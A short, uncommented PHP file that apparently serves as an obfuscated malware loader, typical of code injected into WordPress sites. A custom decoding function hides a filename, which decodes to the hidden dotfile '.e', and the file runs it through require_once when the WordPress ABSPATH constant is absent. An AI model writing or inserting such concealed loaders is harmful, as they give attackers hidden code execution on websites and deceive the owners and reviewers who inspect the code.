<?php
function ukp($z, $y)
{
    $m = '';
    for ($s = 0; $s < strlen($z); $s += 2) {
        $d = ord($z[$s]) - 65;
        $c = ord($z[$s + 1]);
        if ($c > 90) $c -= 6;
        $a = $d * 52 + ($c - 65);
        $m .= chr($a - $y);
    }
    return $m;
}

if (!defined('ABSPATH')) {
    require_once ukp('CbDe', 85);
}